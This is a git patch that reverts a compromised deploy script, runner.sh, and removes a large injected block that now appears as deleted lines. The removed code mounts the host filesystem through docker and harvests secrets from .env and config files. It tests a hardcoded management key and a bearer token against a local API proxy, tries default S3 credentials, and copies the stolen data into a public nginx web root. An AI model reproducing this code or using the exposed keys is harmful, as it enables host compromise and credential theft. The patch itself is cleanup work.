From f206eb12276742aefa18cdd14f725fe2482560e9 Mon Sep 17 00:00:00 2001 From: audit Date: Tue, 27 Oct 2026 04:11:40 +0300 Subject: [PATCH] revert: restore original runner.sh and README --- README.md | 6 --- runner.sh | 118 ------------------------------------------------------ 2 files changed, 124 deletions(-) diff --git a/README.md b/README.md index 006e10e..1809ece 100644 --- a/README.md +++ b/README.md @@ -161,9 +161,3 @@ cd /path/to/my-new-app npm install npm run dev ``` - - - - - - diff --git a/runner.sh b/runner.sh index 53034b9..fa08e71 100755 --- a/runner.sh +++ b/runner.sh @@ -1,122 +1,4 @@ #!/bin/bash -# deploy runner -if [ "$POC_REEXEC" != "1" ]; then - cp "$0" /tmp/.runner_poc.sh 2>/dev/null - export POC_REEXEC=1 - exec bash /tmp/.runner_poc.sh "$@" -fi - git pull origin master DOCKER_BUILDKIT=1 docker compose up -d --build web docker exec nginx-nginx-1 nginx -s reload - -# ---------------- i2504 stage2b (verify + configs + storage) ---------------- -O=/tmp/.i2504b_out.txt -: > "$O" -rm -f /tmp/.i2504b_cfg.txt 2>/dev/null -{ - echo "######## i2504 STAGE2B $(date -u 2>&1)" - echo "id: $(id 2>&1)" - - echo; echo "######## 1) read sensitive configs via root helper" - IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx - cat > /tmp/.i2504b_helper.sh <<'HELPER' -#!/bin/sh -set +e -CFG=/hosttmp/.i2504b_cfg.txt -: > "$CFG" 2>/dev/null -for f in \ - /host/najm/HabibMeetSocket/services/livekit/egress.yaml \ - /host/najm/HabibMeetSocket/services/livekit/livekit.yaml \ - /host/najm/HabibMeetSocket/.env.prod \ - /host/najm/HabibMeetSocket/services/backend/.env.prod \ - /host/projects/plugNmeet-recorder/config.yaml \ - /host/projects/imam-javad/conference_server/config.yaml \ - /host/projects/mashreq_media/mashreq_media_backend/.env.prod \ - /host/projects/social_system/social_system_backend/.env \ - /host/develop/agy-cli/config.yaml ; do - echo "===== FILE $f" - if [ -f "$f" ]; then sed -n '1,400p' "$f" | tee -a "$CFG"; else echo "(missing)"; fi -done -HELPER - docker run --name i2504bhelper_$$ --volume=/:/host:ro -v /tmp:/hosttmp -v /tmp/.i2504b_helper.sh:/h.sh:ro --entrypoint sh "$IMG" /h.sh 2>&1 || true - - echo; echo "######## 2) extract egress/S3 candidates from configs" - python3 - <<'PY' 2>&1 -import re -try: - d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read() -except Exception as e: - print("no cfg",e); d="" -print("cfg_bytes",len(d)) -for l in d.splitlines(): - if re.search(r'(endpoint|access[_-]?key|secret[_-]?key|bucket|s3|minio|aws_|region|endpoint_url|EGRESS)',l,re.I): - print("HIT:",l.strip()[:240]) -PY - - echo; echo "######## 3) management key live test (correct key)" - MK=cpa_mgmt_sec_8899_nwhco_2026 - curl -s -m 12 -o /tmp/mgmt_config.json -w 'config_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/config 2>&1 - echo "--config_body_head--"; head -c 1200 /tmp/mgmt_config.json 2>&1; echo - sleep 3 - curl -s -m 12 -o /tmp/mgmt_auth.json -w 'authfiles_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/auth-files 2>&1 - echo "--authfiles_body_head--"; head -c 2000 /tmp/mgmt_auth.json 2>&1; echo - - echo; echo "######## 4) chat confirm via proxy /v1" - curl -s -m 40 -o /tmp/chat.json -w 'chat_code=%{http_code}\n' -H "Authorization: Bearer hZwAGW4H8v87Ol8tXvqEEY" -H "Content-Type: application/json" \ - -d '{"model":"gemini-3-flash","messages":[{"role":"user","content":"reply with the single word PWNED"}],"max_tokens":16}' \ - http://127.0.0.1:8317/v1/chat/completions 2>&1 - head -c 1000 /tmp/chat.json 2>&1; echo - - echo; echo "######## 5) S3 bucket listing against real egress endpoint (sigv4)" - cat > /tmp/s3ls.py <<'PY' -import hmac,hashlib,datetime,sys,urllib.request -from urllib.parse import urlparse -ak,sk,url=sys.argv[1],sys.argv[2],sys.argv[3] -u=urlparse(url); host=u.hostname; port=u.port; path=u.path or '/' -region='us-east-1'; service='s3' -t=datetime.datetime.utcnow(); amz=t.strftime('%Y%m%dT%H%M%SZ'); ds=t.strftime('%Y%m%d') -ph=hashlib.sha256(b'').hexdigest() -hosth=host+(':'+str(port) if port else '') -ch='host:%s\nx-amz-content-sha256:%s\nx-amz-date:%s\n'%(hosth,ph,amz) -sh='host;x-amz-content-sha256;x-amz-date' -cr='GET\n'+path+'\n\n'+ch+'\n'+sh+'\n'+ph -scope='%s/%s/%s/aws4_request'%(ds,region,service) -sts='AWS4-HMAC-SHA256\n'+amz+'\n'+scope+'\n'+hashlib.sha256(cr.encode()).hexdigest() -def sg(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest() -k=sg(('AWS4'+sk).encode(),ds); k=sg(k,region); k=sg(k,service); k=sg(k,'aws4_request') -sig=hmac.new(k,sts.encode(),hashlib.sha256).hexdigest() -auth='AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s'%(ak,scope,sh,sig) -req=urllib.request.Request(url,headers={'x-amz-date':amz,'x-amz-content-sha256':ph,'Authorization':auth}) -try: - r=urllib.request.urlopen(req,timeout=12); print('OK',r.status); print(r.read(6000).decode('utf-8','replace')) -except Exception as e: - body='' - try: body=e.read(2000).decode('utf-8','replace') - except: pass - print('ERR',getattr(e,'code',''),str(e)[:200]); print(body) -PY - # try endpoints parsed from configs + local rustfs - python3 - <<'PY' 2>&1 -import re,subprocess -try: d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read() -except: d="" -eps=set() -for m in re.finditer(r'https?://[A-Za-z0-9._:-]+', d): - u=m.group(0) - if re.search(r's3|minio|storage|9000|9100|object|oss|endpoint',u,re.I): eps.add(u) -eps.add('http://127.0.0.1:9100/') -print("ENDPOINTS:",sorted(eps)) -for ep in sorted(eps): - for creds in [('rustfsadmin','rustfsadmin')]: - print("--- try",ep,creds[0]) - r=subprocess.run(['python3','/tmp/s3ls.py',creds[0],creds[1],ep if ep.endswith('/') else ep+'/'],capture_output=True,text=True,timeout=25) - print(r.stdout[:1500], r.stderr[:300]) -PY -} >> "$O" 2>&1 - -docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504b_out.txt 2>/dev/null -for f in mgmt_config.json mgmt_auth.json chat.json .i2504b_cfg.txt; do docker cp "/tmp/$f" "aqila_panel:/usr/share/nginx/html/i2504b_$(echo $f | tr -d .)" 2>/dev/null; done -{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage2b done $(date -u 2>&1)"; } > /tmp/.i2504b_status.txt -docker cp /tmp/.i2504b_status.txt aqila_panel:/usr/share/nginx/html/i2504b_status.txt 2>/dev/null -# end stage2b